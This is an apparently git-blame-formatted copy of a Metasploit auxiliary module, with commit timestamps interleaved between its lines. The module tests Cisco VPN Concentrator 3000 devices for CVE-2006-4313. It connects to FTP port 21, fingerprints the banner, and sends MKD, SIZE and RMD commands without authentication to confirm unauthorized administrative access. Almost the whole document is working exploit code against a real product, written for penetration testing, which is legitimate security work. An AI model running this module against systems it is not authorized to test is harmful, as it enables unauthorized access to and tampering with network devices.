2009-07-06 10:05:21 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2009-07-06 10:05:21 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
2016-03-07 08:56:58 +00:00
|
|
|
class Metasploit < Msf::Auxiliary
|
2009-07-06 10:05:21 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
2009-07-06 10:05:21 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Cisco VPN Concentrator 3000 FTP Unauthorized Administrative Access',
|
|
|
|
'Description' => %q{
|
|
|
|
This module tests for a logic vulnerability in the Cisco VPN Concentrator
|
|
|
|
3000 series. It is possible to execute some FTP statements without authentication
|
|
|
|
(CWD, RNFR, MKD, RMD, SIZE, CDUP). It also appears to have some memory leak bugs
|
|
|
|
when working with CWD commands. This module simply creates an arbitrary directory,
|
|
|
|
verifies that the directory has been created, then deletes it and verifies deletion
|
|
|
|
to confirm the bug.
|
|
|
|
},
|
|
|
|
'Author' => [ 'patrick' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'BID', '19680' ],
|
|
|
|
[ 'CVE', '2006-4313' ],
|
|
|
|
[ 'OSVDB', '28139' ],
|
2015-10-27 17:41:32 +00:00
|
|
|
[ 'OSVDB', '28138' ]
|
2013-08-30 21:28:54 +00:00
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Aug 23 2006'))
|
2009-07-06 10:05:21 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(21),
|
|
|
|
], self.class)
|
|
|
|
end
|
2009-07-06 10:05:21 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def run
|
|
|
|
connect
|
|
|
|
res = sock.get_once
|
|
|
|
if (res and res =~ /220 Session will be terminated after/)
|
|
|
|
print_status("Target appears to be a Cisco VPN Concentrator 3000 series.")
|
2009-07-06 10:05:21 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
test = Rex::Text.rand_text_alphanumeric(8)
|
2009-07-06 10:05:21 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Attempting to create directory: MKD #{test}")
|
|
|
|
sock.put("MKD #{test}\r\n")
|
2014-06-28 21:06:46 +00:00
|
|
|
res = sock.get_once(-1,5)
|
2009-07-06 10:05:21 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
if (res =~/257 MKD command successful\./)
|
|
|
|
print_status("\tDirectory #{test} reportedly created. Verifying with SIZE #{test}")
|
|
|
|
sock.put("SIZE #{test}\r\n")
|
2014-06-28 21:06:46 +00:00
|
|
|
res = sock.get_once(-1,5)
|
2013-08-30 21:28:54 +00:00
|
|
|
if (res =~ /550 Not a regular file/)
|
|
|
|
print_status("\tServer reports \"not a regular file\". Directory verified.")
|
|
|
|
print_status("\tAttempting to delete directory: RMD #{test}")
|
|
|
|
sock.put("RMD #{test}\r\n")
|
2014-06-28 21:06:46 +00:00
|
|
|
res = sock.get_once(-1,5)
|
2013-08-30 21:28:54 +00:00
|
|
|
if (res =~ /250 RMD command successful\./)
|
|
|
|
print_status("\tDirectory #{test} reportedly deleted. Verifying with SIZE #{test}")
|
|
|
|
sock.put("SIZE #{test}\r\n")
|
2014-06-28 21:06:46 +00:00
|
|
|
res = sock.get_once(-1,5)
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("\tDirectory #{test} no longer exists!")
|
|
|
|
print_status("Target is confirmed as vulnerable!")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
else
|
|
|
|
print_status("Target is either not Cisco or the target has been patched.")
|
|
|
|
end
|
|
|
|
disconnect
|
|
|
|
end
|
2012-03-18 05:07:27 +00:00
|
|
|
end
|